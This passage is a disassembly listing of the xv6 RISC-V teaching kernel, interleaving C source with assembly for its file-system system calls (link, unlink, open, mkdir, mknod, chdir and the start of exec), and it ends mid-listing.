800052cc: 814080e7 jalr -2028(ra) # 80002adc <argstr> return -1; 800052d0: 57fd li a5,-1 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 800052d2: 10054263 bltz a0,800053d6 <sys_link+0x13c> begin_op(); 800052d6: fffff097 auipc ra,0xfffff 800052da: cf0080e7 jalr -784(ra) # 80003fc6 <begin_op> if((ip = namei(old)) == 0){ 800052de: ed040513 addi a0,s0,-304 800052e2: fffff097 auipc ra,0xfffff 800052e6: ad8080e7 jalr -1320(ra) # 80003dba <namei> 800052ea: 84aa mv s1,a0 800052ec: c551 beqz a0,80005378 <sys_link+0xde> ilock(ip); 800052ee: ffffe097 auipc ra,0xffffe 800052f2: 31c080e7 jalr 796(ra) # 8000360a <ilock> if(ip->type == T_DIR){ 800052f6: 04449703 lh a4,68(s1) 800052fa: 4785 li a5,1 800052fc: 08f70463 beq a4,a5,80005384 <sys_link+0xea> ip->nlink++; 80005300: 04a4d783 lhu a5,74(s1) 80005304: 2785 addiw a5,a5,1 80005306: 04f49523 sh a5,74(s1) iupdate(ip); 8000530a: 8526 mv a0,s1 8000530c: ffffe097 auipc ra,0xffffe 80005310: 234080e7 jalr 564(ra) # 80003540 <iupdate> iunlock(ip); 80005314: 8526 mv a0,s1 80005316: ffffe097 auipc ra,0xffffe 8000531a: 3b6080e7 jalr 950(ra) # 800036cc <iunlock> if((dp = nameiparent(new, name)) == 0) 8000531e: fd040593 addi a1,s0,-48 80005322: f5040513 addi a0,s0,-176 80005326: fffff097 auipc ra,0xfffff 8000532a: ab2080e7 jalr -1358(ra) # 80003dd8 <nameiparent> 8000532e: 892a mv s2,a0 80005330: c935 beqz a0,800053a4 <sys_link+0x10a> ilock(dp); 80005332: ffffe097 auipc ra,0xffffe 80005336: 2d8080e7 jalr 728(ra) # 8000360a <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 8000533a: 00092703 lw a4,0(s2) 8000533e: 409c lw a5,0(s1) 80005340: 04f71d63 bne a4,a5,8000539a <sys_link+0x100> 80005344: 40d0 lw a2,4(s1) 80005346: fd040593 addi a1,s0,-48 8000534a: 854a mv a0,s2 8000534c: fffff097 auipc ra,0xfffff 80005350: 9ac080e7 jalr -1620(ra) # 80003cf8 <dirlink> 80005354: 04054363 bltz a0,8000539a <sys_link+0x100> iunlockput(dp); 80005358: 854a mv a0,s2 8000535a: ffffe097 auipc ra,0xffffe 8000535e: 512080e7 jalr 1298(ra) # 8000386c <iunlockput> iput(ip); 80005362: 8526 mv a0,s1 80005364: ffffe097 auipc ra,0xffffe 80005368: 460080e7 jalr 1120(ra) # 800037c4 <iput> end_op(); 8000536c: fffff097 auipc ra,0xfffff 80005370: cda080e7 jalr -806(ra) # 80004046 <end_op> return 0; 80005374: 4781 li a5,0 80005376: a085 j 800053d6 <sys_link+0x13c> end_op(); 80005378: fffff097 auipc ra,0xfffff 8000537c: cce080e7 jalr -818(ra) # 80004046 <end_op> return -1; 80005380: 57fd li a5,-1 80005382: a891 j 800053d6 <sys_link+0x13c> iunlockput(ip); 80005384: 8526 mv a0,s1 80005386: ffffe097 auipc ra,0xffffe 8000538a: 4e6080e7 jalr 1254(ra) # 8000386c <iunlockput> end_op(); 8000538e: fffff097 auipc ra,0xfffff 80005392: cb8080e7 jalr -840(ra) # 80004046 <end_op> return -1; 80005396: 57fd li a5,-1 80005398: a83d j 800053d6 <sys_link+0x13c> iunlockput(dp); 8000539a: 854a mv a0,s2 8000539c: ffffe097 auipc ra,0xffffe 800053a0: 4d0080e7 jalr 1232(ra) # 8000386c <iunlockput> ilock(ip); 800053a4: 8526 mv a0,s1 800053a6: ffffe097 auipc ra,0xffffe 800053aa: 264080e7 jalr 612(ra) # 8000360a <ilock> ip->nlink--; 800053ae: 04a4d783 lhu a5,74(s1) 800053b2: 37fd addiw a5,a5,-1 800053b4: 04f49523 sh a5,74(s1) iupdate(ip); 800053b8: 8526 mv a0,s1 800053ba: ffffe097 auipc ra,0xffffe 800053be: 186080e7 jalr 390(ra) # 80003540 <iupdate> iunlockput(ip); 800053c2: 8526 mv a0,s1 800053c4: ffffe097 auipc ra,0xffffe 800053c8: 4a8080e7 jalr 1192(ra) # 8000386c <iunlockput> end_op(); 800053cc: fffff097 auipc ra,0xfffff 800053d0: c7a080e7 jalr -902(ra) # 80004046 <end_op> return -1; 800053d4: 57fd li a5,-1 } 800053d6: 853e mv a0,a5 800053d8: 70b2 ld ra,296(sp) 800053da: 7412 ld s0,288(sp) 800053dc: 64f2 ld s1,280(sp) 800053de: 6952 ld s2,272(sp) 800053e0: 6155 addi sp,sp,304 800053e2: 8082 ret 00000000800053e4 <sys_unlink>: { 800053e4: 7151 addi sp,sp,-240 800053e6: f586 sd ra,232(sp) 800053e8: f1a2 sd s0,224(sp) 800053ea: eda6 sd s1,216(sp) 800053ec: e9ca sd s2,208(sp) 800053ee: e5ce sd s3,200(sp) 800053f0: 1980 addi s0,sp,240 if(argstr(0, path, MAXPATH) < 0) 800053f2: 08000613 li a2,128 800053f6: f3040593 addi a1,s0,-208 800053fa: 4501 li a0,0 800053fc: ffffd097 auipc ra,0xffffd 80005400: 6e0080e7 jalr 1760(ra) # 80002adc <argstr> 80005404: 18054163 bltz a0,80005586 <sys_unlink+0x1a2> begin_op(); 80005408: fffff097 auipc ra,0xfffff 8000540c: bbe080e7 jalr -1090(ra) # 80003fc6 <begin_op> if((dp = nameiparent(path, name)) == 0){ 80005410: fb040593 addi a1,s0,-80 80005414: f3040513 addi a0,s0,-208 80005418: fffff097 auipc ra,0xfffff 8000541c: 9c0080e7 jalr -1600(ra) # 80003dd8 <nameiparent> 80005420: 84aa mv s1,a0 80005422: c979 beqz a0,800054f8 <sys_unlink+0x114> ilock(dp); 80005424: ffffe097 auipc ra,0xffffe 80005428: 1e6080e7 jalr 486(ra) # 8000360a <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 8000542c: 00003597 auipc a1,0x3 80005430: 2bc58593 addi a1,a1,700 # 800086e8 <syscalls+0x2c0> 80005434: fb040513 addi a0,s0,-80 80005438: ffffe097 auipc ra,0xffffe 8000543c: 696080e7 jalr 1686(ra) # 80003ace <namecmp> 80005440: 14050a63 beqz a0,80005594 <sys_unlink+0x1b0> 80005444: 00003597 auipc a1,0x3 80005448: 2ac58593 addi a1,a1,684 # 800086f0 <syscalls+0x2c8> 8000544c: fb040513 addi a0,s0,-80 80005450: ffffe097 auipc ra,0xffffe 80005454: 67e080e7 jalr 1662(ra) # 80003ace <namecmp> 80005458: 12050e63 beqz a0,80005594 <sys_unlink+0x1b0> if((ip = dirlookup(dp, name, &off)) == 0) 8000545c: f2c40613 addi a2,s0,-212 80005460: fb040593 addi a1,s0,-80 80005464: 8526 mv a0,s1 80005466: ffffe097 auipc ra,0xffffe 8000546a: 682080e7 jalr 1666(ra) # 80003ae8 <dirlookup> 8000546e: 892a mv s2,a0 80005470: 12050263 beqz a0,80005594 <sys_unlink+0x1b0> ilock(ip); 80005474: ffffe097 auipc ra,0xffffe 80005478: 196080e7 jalr 406(ra) # 8000360a <ilock> if(ip->nlink < 1) 8000547c: 04a91783 lh a5,74(s2) 80005480: 08f05263 blez a5,80005504 <sys_unlink+0x120> if(ip->type == T_DIR && !isdirempty(ip)){ 80005484: 04491703 lh a4,68(s2) 80005488: 4785 li a5,1 8000548a: 08f70563 beq a4,a5,80005514 <sys_unlink+0x130> memset(&de, 0, sizeof(de)); 8000548e: 4641 li a2,16 80005490: 4581 li a1,0 80005492: fc040513 addi a0,s0,-64 80005496: ffffc097 auipc ra,0xffffc 8000549a: 876080e7 jalr -1930(ra) # 80000d0c <memset> if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 8000549e: 4741 li a4,16 800054a0: f2c42683 lw a3,-212(s0) 800054a4: fc040613 addi a2,s0,-64 800054a8: 4581 li a1,0 800054aa: 8526 mv a0,s1 800054ac: ffffe097 auipc ra,0xffffe 800054b0: 508080e7 jalr 1288(ra) # 800039b4 <writei> 800054b4: 47c1 li a5,16 800054b6: 0af51563 bne a0,a5,80005560 <sys_unlink+0x17c> if(ip->type == T_DIR){ 800054ba: 04491703 lh a4,68(s2) 800054be: 4785 li a5,1 800054c0: 0af70863 beq a4,a5,80005570 <sys_unlink+0x18c> iunlockput(dp); 800054c4: 8526 mv a0,s1 800054c6: ffffe097 auipc ra,0xffffe 800054ca: 3a6080e7 jalr 934(ra) # 8000386c <iunlockput> ip->nlink--; 800054ce: 04a95783 lhu a5,74(s2) 800054d2: 37fd addiw a5,a5,-1 800054d4: 04f91523 sh a5,74(s2) iupdate(ip); 800054d8: 854a mv a0,s2 800054da: ffffe097 auipc ra,0xffffe 800054de: 066080e7 jalr 102(ra) # 80003540 <iupdate> iunlockput(ip); 800054e2: 854a mv a0,s2 800054e4: ffffe097 auipc ra,0xffffe 800054e8: 388080e7 jalr 904(ra) # 8000386c <iunlockput> end_op(); 800054ec: fffff097 auipc ra,0xfffff 800054f0: b5a080e7 jalr -1190(ra) # 80004046 <end_op> return 0; 800054f4: 4501 li a0,0 800054f6: a84d j 800055a8 <sys_unlink+0x1c4> end_op(); 800054f8: fffff097 auipc ra,0xfffff 800054fc: b4e080e7 jalr -1202(ra) # 80004046 <end_op> return -1; 80005500: 557d li a0,-1 80005502: a05d j 800055a8 <sys_unlink+0x1c4> panic("unlink: nlink < 1"); 80005504: 00003517 auipc a0,0x3 80005508: 21450513 addi a0,a0,532 # 80008718 <syscalls+0x2f0> 8000550c: ffffb097 auipc ra,0xffffb 80005510: 03c080e7 jalr 60(ra) # 80000548 <panic> for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80005514: 04c92703 lw a4,76(s2) 80005518: 02000793 li a5,32 8000551c: f6e7f9e3 bgeu a5,a4,8000548e <sys_unlink+0xaa> 80005520: 02000993 li s3,32 if(readi(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80005524: 4741 li a4,16 80005526: 86ce mv a3,s3 80005528: f1840613 addi a2,s0,-232 8000552c: 4581 li a1,0 8000552e: 854a mv a0,s2 80005530: ffffe097 auipc ra,0xffffe 80005534: 38e080e7 jalr 910(ra) # 800038be <readi> 80005538: 47c1 li a5,16 8000553a: 00f51b63 bne a0,a5,80005550 <sys_unlink+0x16c> if(de.inum != 0) 8000553e: f1845783 lhu a5,-232(s0) 80005542: e7a1 bnez a5,8000558a <sys_unlink+0x1a6> for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){ 80005544: 29c1 addiw s3,s3,16 80005546: 04c92783 lw a5,76(s2) 8000554a: fcf9ede3 bltu s3,a5,80005524 <sys_unlink+0x140> 8000554e: b781 j 8000548e <sys_unlink+0xaa> panic("isdirempty: readi"); 80005550: 00003517 auipc a0,0x3 80005554: 1e050513 addi a0,a0,480 # 80008730 <syscalls+0x308> 80005558: ffffb097 auipc ra,0xffffb 8000555c: ff0080e7 jalr -16(ra) # 80000548 <panic> panic("unlink: writei"); 80005560: 00003517 auipc a0,0x3 80005564: 1e850513 addi a0,a0,488 # 80008748 <syscalls+0x320> 80005568: ffffb097 auipc ra,0xffffb 8000556c: fe0080e7 jalr -32(ra) # 80000548 <panic> dp->nlink--; 80005570: 04a4d783 lhu a5,74(s1) 80005574: 37fd addiw a5,a5,-1 80005576: 04f49523 sh a5,74(s1) iupdate(dp); 8000557a: 8526 mv a0,s1 8000557c: ffffe097 auipc ra,0xffffe 80005580: fc4080e7 jalr -60(ra) # 80003540 <iupdate> 80005584: b781 j 800054c4 <sys_unlink+0xe0> return -1; 80005586: 557d li a0,-1 80005588: a005 j 800055a8 <sys_unlink+0x1c4> iunlockput(ip); 8000558a: 854a mv a0,s2 8000558c: ffffe097 auipc ra,0xffffe 80005590: 2e0080e7 jalr 736(ra) # 8000386c <iunlockput> iunlockput(dp); 80005594: 8526 mv a0,s1 80005596: ffffe097 auipc ra,0xffffe 8000559a: 2d6080e7 jalr 726(ra) # 8000386c <iunlockput> end_op(); 8000559e: fffff097 auipc ra,0xfffff 800055a2: aa8080e7 jalr -1368(ra) # 80004046 <end_op> return -1; 800055a6: 557d li a0,-1 } 800055a8: 70ae ld ra,232(sp) 800055aa: 740e ld s0,224(sp) 800055ac: 64ee ld s1,216(sp) 800055ae: 694e ld s2,208(sp) 800055b0: 69ae ld s3,200(sp) 800055b2: 616d addi sp,sp,240 800055b4: 8082 ret 00000000800055b6 <sys_open>: uint64 sys_open(void) { 800055b6: 7131 addi sp,sp,-192 800055b8: fd06 sd ra,184(sp) 800055ba: f922 sd s0,176(sp) 800055bc: f526 sd s1,168(sp) 800055be: f14a sd s2,160(sp) 800055c0: ed4e sd s3,152(sp) 800055c2: 0180 addi s0,sp,192 int fd, omode; struct file *f; struct inode *ip; int n; if((n = argstr(0, path, MAXPATH)) < 0 || argint(1, &omode) < 0) 800055c4: 08000613 li a2,128 800055c8: f5040593 addi a1,s0,-176 800055cc: 4501 li a0,0 800055ce: ffffd097 auipc ra,0xffffd 800055d2: 50e080e7 jalr 1294(ra) # 80002adc <argstr> return -1; 800055d6: 54fd li s1,-1 if((n = argstr(0, path, MAXPATH)) < 0 || argint(1, &omode) < 0) 800055d8: 0c054163 bltz a0,8000569a <sys_open+0xe4> 800055dc: f4c40593 addi a1,s0,-180 800055e0: 4505 li a0,1 800055e2: ffffd097 auipc ra,0xffffd 800055e6: 4b6080e7 jalr 1206(ra) # 80002a98 <argint> 800055ea: 0a054863 bltz a0,8000569a <sys_open+0xe4> begin_op(); 800055ee: fffff097 auipc ra,0xfffff 800055f2: 9d8080e7 jalr -1576(ra) # 80003fc6 <begin_op> if(omode & O_CREATE){ 800055f6: f4c42783 lw a5,-180(s0) 800055fa: 2007f793 andi a5,a5,512 800055fe: cbdd beqz a5,800056b4 <sys_open+0xfe> ip = create(path, T_FILE, 0, 0); 80005600: 4681 li a3,0 80005602: 4601 li a2,0 80005604: 4589 li a1,2 80005606: f5040513 addi a0,s0,-176 8000560a: 00000097 auipc ra,0x0 8000560e: 972080e7 jalr -1678(ra) # 80004f7c <create> 80005612: 892a mv s2,a0 if(ip == 0){ 80005614: c959 beqz a0,800056aa <sys_open+0xf4> end_op(); return -1; } } if(ip->type == T_DEVICE && (ip->major < 0 || ip->major >= NDEV)){ 80005616: 04491703 lh a4,68(s2) 8000561a: 478d li a5,3 8000561c: 00f71763 bne a4,a5,8000562a <sys_open+0x74> 80005620: 04695703 lhu a4,70(s2) 80005624: 47a5 li a5,9 80005626: 0ce7ec63 bltu a5,a4,800056fe <sys_open+0x148> iunlockput(ip); end_op(); return -1; } if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){ 8000562a: fffff097 auipc ra,0xfffff 8000562e: db2080e7 jalr -590(ra) # 800043dc <filealloc> 80005632: 89aa mv s3,a0 80005634: 10050263 beqz a0,80005738 <sys_open+0x182> 80005638: 00000097 auipc ra,0x0 8000563c: 902080e7 jalr -1790(ra) # 80004f3a <fdalloc> 80005640: 84aa mv s1,a0 80005642: 0e054663 bltz a0,8000572e <sys_open+0x178> iunlockput(ip); end_op(); return -1; } if(ip->type == T_DEVICE){ 80005646: 04491703 lh a4,68(s2) 8000564a: 478d li a5,3 8000564c: 0cf70463 beq a4,a5,80005714 <sys_open+0x15e> f->type = FD_DEVICE; f->major = ip->major; } else { f->type = FD_INODE; 80005650: 4789 li a5,2 80005652: 00f9a023 sw a5,0(s3) f->off = 0; 80005656: 0209a023 sw zero,32(s3) } f->ip = ip; 8000565a: 0129bc23 sd s2,24(s3) f->readable = !(omode & O_WRONLY); 8000565e: f4c42783 lw a5,-180(s0) 80005662: 0017c713 xori a4,a5,1 80005666: 8b05 andi a4,a4,1 80005668: 00e98423 sb a4,8(s3) f->writable = (omode & O_WRONLY) || (omode & O_RDWR); 8000566c: 0037f713 andi a4,a5,3 80005670: 00e03733 snez a4,a4 80005674: 00e984a3 sb a4,9(s3) if((omode & O_TRUNC) && ip->type == T_FILE){ 80005678: 4007f793 andi a5,a5,1024 8000567c: c791 beqz a5,80005688 <sys_open+0xd2> 8000567e: 04491703 lh a4,68(s2) 80005682: 4789 li a5,2 80005684: 08f70f63 beq a4,a5,80005722 <sys_open+0x16c> itrunc(ip); } iunlock(ip); 80005688: 854a mv a0,s2 8000568a: ffffe097 auipc ra,0xffffe 8000568e: 042080e7 jalr 66(ra) # 800036cc <iunlock> end_op(); 80005692: fffff097 auipc ra,0xfffff 80005696: 9b4080e7 jalr -1612(ra) # 80004046 <end_op> return fd; } 8000569a: 8526 mv a0,s1 8000569c: 70ea ld ra,184(sp) 8000569e: 744a ld s0,176(sp) 800056a0: 74aa ld s1,168(sp) 800056a2: 790a ld s2,160(sp) 800056a4: 69ea ld s3,152(sp) 800056a6: 6129 addi sp,sp,192 800056a8: 8082 ret end_op(); 800056aa: fffff097 auipc ra,0xfffff 800056ae: 99c080e7 jalr -1636(ra) # 80004046 <end_op> return -1; 800056b2: b7e5 j 8000569a <sys_open+0xe4> if((ip = namei(path)) == 0){ 800056b4: f5040513 addi a0,s0,-176 800056b8: ffffe097 auipc ra,0xffffe 800056bc: 702080e7 jalr 1794(ra) # 80003dba <namei> 800056c0: 892a mv s2,a0 800056c2: c905 beqz a0,800056f2 <sys_open+0x13c> ilock(ip); 800056c4: ffffe097 auipc ra,0xffffe 800056c8: f46080e7 jalr -186(ra) # 8000360a <ilock> if(ip->type == T_DIR && omode != O_RDONLY){ 800056cc: 04491703 lh a4,68(s2) 800056d0: 4785 li a5,1 800056d2: f4f712e3 bne a4,a5,80005616 <sys_open+0x60> 800056d6: f4c42783 lw a5,-180(s0) 800056da: dba1 beqz a5,8000562a <sys_open+0x74> iunlockput(ip); 800056dc: 854a mv a0,s2 800056de: ffffe097 auipc ra,0xffffe 800056e2: 18e080e7 jalr 398(ra) # 8000386c <iunlockput> end_op(); 800056e6: fffff097 auipc ra,0xfffff 800056ea: 960080e7 jalr -1696(ra) # 80004046 <end_op> return -1; 800056ee: 54fd li s1,-1 800056f0: b76d j 8000569a <sys_open+0xe4> end_op(); 800056f2: fffff097 auipc ra,0xfffff 800056f6: 954080e7 jalr -1708(ra) # 80004046 <end_op> return -1; 800056fa: 54fd li s1,-1 800056fc: bf79 j 8000569a <sys_open+0xe4> iunlockput(ip); 800056fe: 854a mv a0,s2 80005700: ffffe097 auipc ra,0xffffe 80005704: 16c080e7 jalr 364(ra) # 8000386c <iunlockput> end_op(); 80005708: fffff097 auipc ra,0xfffff 8000570c: 93e080e7 jalr -1730(ra) # 80004046 <end_op> return -1; 80005710: 54fd li s1,-1 80005712: b761 j 8000569a <sys_open+0xe4> f->type = FD_DEVICE; 80005714: 00f9a023 sw a5,0(s3) f->major = ip->major; 80005718: 04691783 lh a5,70(s2) 8000571c: 02f99223 sh a5,36(s3) 80005720: bf2d j 8000565a <sys_open+0xa4> itrunc(ip); 80005722: 854a mv a0,s2 80005724: ffffe097 auipc ra,0xffffe 80005728: ff4080e7 jalr -12(ra) # 80003718 <itrunc> 8000572c: bfb1 j 80005688 <sys_open+0xd2> fileclose(f); 8000572e: 854e mv a0,s3 80005730: fffff097 auipc ra,0xfffff 80005734: d68080e7 jalr -664(ra) # 80004498 <fileclose> iunlockput(ip); 80005738: 854a mv a0,s2 8000573a: ffffe097 auipc ra,0xffffe 8000573e: 132080e7 jalr 306(ra) # 8000386c <iunlockput> end_op(); 80005742: fffff097 auipc ra,0xfffff 80005746: 904080e7 jalr -1788(ra) # 80004046 <end_op> return -1; 8000574a: 54fd li s1,-1 8000574c: b7b9 j 8000569a <sys_open+0xe4> 000000008000574e <sys_mkdir>: uint64 sys_mkdir(void) { 8000574e: 7175 addi sp,sp,-144 80005750: e506 sd ra,136(sp) 80005752: e122 sd s0,128(sp) 80005754: 0900 addi s0,sp,144 char path[MAXPATH]; struct inode *ip; begin_op(); 80005756: fffff097 auipc ra,0xfffff 8000575a: 870080e7 jalr -1936(ra) # 80003fc6 <begin_op> if(argstr(0, path, MAXPATH) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){ 8000575e: 08000613 li a2,128 80005762: f7040593 addi a1,s0,-144 80005766: 4501 li a0,0 80005768: ffffd097 auipc ra,0xffffd 8000576c: 374080e7 jalr 884(ra) # 80002adc <argstr> 80005770: 02054963 bltz a0,800057a2 <sys_mkdir+0x54> 80005774: 4681 li a3,0 80005776: 4601 li a2,0 80005778: 4585 li a1,1 8000577a: f7040513 addi a0,s0,-144 8000577e: fffff097 auipc ra,0xfffff 80005782: 7fe080e7 jalr 2046(ra) # 80004f7c <create> 80005786: cd11 beqz a0,800057a2 <sys_mkdir+0x54> end_op(); return -1; } iunlockput(ip); 80005788: ffffe097 auipc ra,0xffffe 8000578c: 0e4080e7 jalr 228(ra) # 8000386c <iunlockput> end_op(); 80005790: fffff097 auipc ra,0xfffff 80005794: 8b6080e7 jalr -1866(ra) # 80004046 <end_op> return 0; 80005798: 4501 li a0,0 } 8000579a: 60aa ld ra,136(sp) 8000579c: 640a ld s0,128(sp) 8000579e: 6149 addi sp,sp,144 800057a0: 8082 ret end_op(); 800057a2: fffff097 auipc ra,0xfffff 800057a6: 8a4080e7 jalr -1884(ra) # 80004046 <end_op> return -1; 800057aa: 557d li a0,-1 800057ac: b7fd j 8000579a <sys_mkdir+0x4c> 00000000800057ae <sys_mknod>: uint64 sys_mknod(void) { 800057ae: 7135 addi sp,sp,-160 800057b0: ed06 sd ra,152(sp) 800057b2: e922 sd s0,144(sp) 800057b4: 1100 addi s0,sp,160 struct inode *ip; char path[MAXPATH]; int major, minor; begin_op(); 800057b6: fffff097 auipc ra,0xfffff 800057ba: 810080e7 jalr -2032(ra) # 80003fc6 <begin_op> if((argstr(0, path, MAXPATH)) < 0 || 800057be: 08000613 li a2,128 800057c2: f7040593 addi a1,s0,-144 800057c6: 4501 li a0,0 800057c8: ffffd097 auipc ra,0xffffd 800057cc: 314080e7 jalr 788(ra) # 80002adc <argstr> 800057d0: 04054a63 bltz a0,80005824 <sys_mknod+0x76> argint(1, &major) < 0 || 800057d4: f6c40593 addi a1,s0,-148 800057d8: 4505 li a0,1 800057da: ffffd097 auipc ra,0xffffd 800057de: 2be080e7 jalr 702(ra) # 80002a98 <argint> if((argstr(0, path, MAXPATH)) < 0 || 800057e2: 04054163 bltz a0,80005824 <sys_mknod+0x76> argint(2, &minor) < 0 || 800057e6: f6840593 addi a1,s0,-152 800057ea: 4509 li a0,2 800057ec: ffffd097 auipc ra,0xffffd 800057f0: 2ac080e7 jalr 684(ra) # 80002a98 <argint> argint(1, &major) < 0 || 800057f4: 02054863 bltz a0,80005824 <sys_mknod+0x76> (ip = create(path, T_DEVICE, major, minor)) == 0){ 800057f8: f6841683 lh a3,-152(s0) 800057fc: f6c41603 lh a2,-148(s0) 80005800: 458d li a1,3 80005802: f7040513 addi a0,s0,-144 80005806: fffff097 auipc ra,0xfffff 8000580a: 776080e7 jalr 1910(ra) # 80004f7c <create> argint(2, &minor) < 0 || 8000580e: c919 beqz a0,80005824 <sys_mknod+0x76> end_op(); return -1; } iunlockput(ip); 80005810: ffffe097 auipc ra,0xffffe 80005814: 05c080e7 jalr 92(ra) # 8000386c <iunlockput> end_op(); 80005818: fffff097 auipc ra,0xfffff 8000581c: 82e080e7 jalr -2002(ra) # 80004046 <end_op> return 0; 80005820: 4501 li a0,0 80005822: a031 j 8000582e <sys_mknod+0x80> end_op(); 80005824: fffff097 auipc ra,0xfffff 80005828: 822080e7 jalr -2014(ra) # 80004046 <end_op> return -1; 8000582c: 557d li a0,-1 } 8000582e: 60ea ld ra,152(sp) 80005830: 644a ld s0,144(sp) 80005832: 610d addi sp,sp,160 80005834: 8082 ret 0000000080005836 <sys_chdir>: uint64 sys_chdir(void) { 80005836: 7135 addi sp,sp,-160 80005838: ed06 sd ra,152(sp) 8000583a: e922 sd s0,144(sp) 8000583c: e526 sd s1,136(sp) 8000583e: e14a sd s2,128(sp) 80005840: 1100 addi s0,sp,160 char path[MAXPATH]; struct inode *ip; struct proc *p = myproc(); 80005842: ffffc097 auipc ra,0xffffc 80005846: 19c080e7 jalr 412(ra) # 800019de <myproc> 8000584a: 892a mv s2,a0 begin_op(); 8000584c: ffffe097 auipc ra,0xffffe 80005850: 77a080e7 jalr 1914(ra) # 80003fc6 <begin_op> if(argstr(0, path, MAXPATH) < 0 || (ip = namei(path)) == 0){ 80005854: 08000613 li a2,128 80005858: f6040593 addi a1,s0,-160 8000585c: 4501 li a0,0 8000585e: ffffd097 auipc ra,0xffffd 80005862: 27e080e7 jalr 638(ra) # 80002adc <argstr> 80005866: 04054b63 bltz a0,800058bc <sys_chdir+0x86> 8000586a: f6040513 addi a0,s0,-160 8000586e: ffffe097 auipc ra,0xffffe 80005872: 54c080e7 jalr 1356(ra) # 80003dba <namei> 80005876: 84aa mv s1,a0 80005878: c131 beqz a0,800058bc <sys_chdir+0x86> end_op(); return -1; } ilock(ip); 8000587a: ffffe097 auipc ra,0xffffe 8000587e: d90080e7 jalr -624(ra) # 8000360a <ilock> if(ip->type != T_DIR){ 80005882: 04449703 lh a4,68(s1) 80005886: 4785 li a5,1 80005888: 04f71063 bne a4,a5,800058c8 <sys_chdir+0x92> iunlockput(ip); end_op(); return -1; } iunlock(ip); 8000588c: 8526 mv a0,s1 8000588e: ffffe097 auipc ra,0xffffe 80005892: e3e080e7 jalr -450(ra) # 800036cc <iunlock> iput(p->cwd); 80005896: 15093503 ld a0,336(s2) 8000589a: ffffe097 auipc ra,0xffffe 8000589e: f2a080e7 jalr -214(ra) # 800037c4 <iput> end_op(); 800058a2: ffffe097 auipc ra,0xffffe 800058a6: 7a4080e7 jalr 1956(ra) # 80004046 <end_op> p->cwd = ip; 800058aa: 14993823 sd s1,336(s2) return 0; 800058ae: 4501 li a0,0 } 800058b0: 60ea ld ra,152(sp) 800058b2: 644a ld s0,144(sp) 800058b4: 64aa ld s1,136(sp) 800058b6: 690a ld s2,128(sp) 800058b8: 610d addi sp,sp,160 800058ba: 8082 ret end_op(); 800058bc: ffffe097 auipc ra,0xffffe 800058c0: 78a080e7 jalr 1930(ra) # 80004046 <end_op> return -1; 800058c4: 557d li a0,-1 800058c6: b7ed j 800058b0 <sys_chdir+0x7a> iunlockput(ip); 800058c8: 8526 mv a0,s1 800058ca: ffffe097 auipc ra,0xffffe 800058ce: fa2080e7 jalr -94(ra) # 8000386c <iunlockput> end_op(); 800058d2: ffffe097 auipc ra,0xffffe 800058d6: 774080e7 jalr 1908(ra) # 80004046 <end_op> return -1; 800058da: 557d li a0,-1 800058dc: bfd1 j 800058b0 <sys_chdir+0x7a> 00000000800058de <sys_exec>: uint64 sys_exec(void) { 800058de: 7145 addi sp,sp,-464 800058e0: e786 sd ra,456(sp) 800058e2: e3a2 sd s0,448(sp) 800058e4: ff26 sd s1,440(sp) 800058e6: fb4a sd s2,432(sp) 800058e8: f74e sd s3,424(sp) 800058ea: f352 sd s4,416(sp) 800058ec: ef56 sd s5,408(sp) 800058ee: 0b80 addi s0,sp,464 char path[MAXPATH], *argv[MAXARG]; int i; uint64 uargv, uarg; if(argstr(0, path, MAXPATH) < 0 || argaddr(1, &uargv) < 0){ 800058f0: 08000613 li a2,128 800058f4: f4040593 addi a1,s0,-192 800058f8: 4501 li a0,0 800058fa: ffffd097 auipc ra,0xffffd 800058fe: 1e2080e7 jalr 482(ra) # 80002adc <argstr> return -1; 80005902: 597d li s2,-1 if(argstr(0, path, MAXPATH) < 0 || argaddr(1, &uargv) < 0){ 80005904: 0c054a63 bltz a0,800059d8 <sys_exec+0xfa> 80005908: e3840593 addi a1,s0,-456 8000590c: 4505 li a0,1 8000590e: ffffd097 auipc ra,0xffffd 80005912: 1ac080e7 jalr 428(ra) # 80002aba <argaddr> 80005916: 0c054163 bltz a0,800059d8 <sys_exec+0xfa> } memset(argv, 0, sizeof(argv)); 8000591a: 10000613 li a2,256 8000591e: 4581 li a1,0 80005920: e4040513 addi a0,s0,-448 80005924: ffffb097 auipc ra,0xffffb 80005928: 3e8080e7 jalr 1000(ra) # 80000d0c <memset> for(i=0;; i++){ if(i >= NELEM(argv)){ 8000592c: e4040493 addi s1,s0,-448 memset(argv, 0, sizeof(argv)); 80005930: 89a6 mv s3,s1 80005932: 4901 li s2,0 if(i >= NELEM(argv)){ 80005934: 02000a13 li s4,32 80005938: 00090a9b sext.w s5,s2 goto bad; } if(fetchaddr(uargv+sizeof(uint64)*i, (uint64*)&uarg) < 0){ 8000593c: 00391513 slli a0,s2,0x3 80005940: e3040593 addi a1,s0,-464 80005944: e3843783 ld a5,-456(s0) 80005948: 953e add a0,a0,a5 8000594a: ffffd097 auipc ra,0xffffd 8000594e: 0b4080e7 jalr 180(ra) # 800029fe <fetchaddr> 80005952: 02054a63 bltz a0,80005986 <sys_exec+0xa8> goto bad; } if(uarg == 0){ 80005956: e3043783 ld a5,-464(s0) 8000595a: c3b9 beqz a5,800059a0 <sys_exec+0xc2> argv[i] = 0; break; } argv[i] = kalloc(); 8000595c: ffffb097 auipc ra,0xffffb 80005960: 1c4080e7 jalr 452(ra) # 80000b20 <kalloc> 80005964: 85aa mv a1,a0 80005966: 00a9b023 sd a0,0(s3) if(argv[i] == 0) 8000596a: cd11 beqz a0,80005986 <sys_exec+0xa8> goto bad; if(fetchstr(uarg, argv[i], PGSIZE) < 0) 8000596c: 6605 lui a2,0x1 8000596e: e3043503 ld a0,-464(s0) 80005972: ffffd097 auipc ra,0xffffd 80005976: 0de080e7 jalr 222(ra) # 80002a50 <fetchstr> 8000597a: 00054663 bltz a0,80005986 <sys_exec+0xa8> if(i >= NELEM(argv)){ 8000597e: 0905 addi s2,s2,1 80005980: 09a1 addi s3,s3,8 80005982: fb491be3 bne 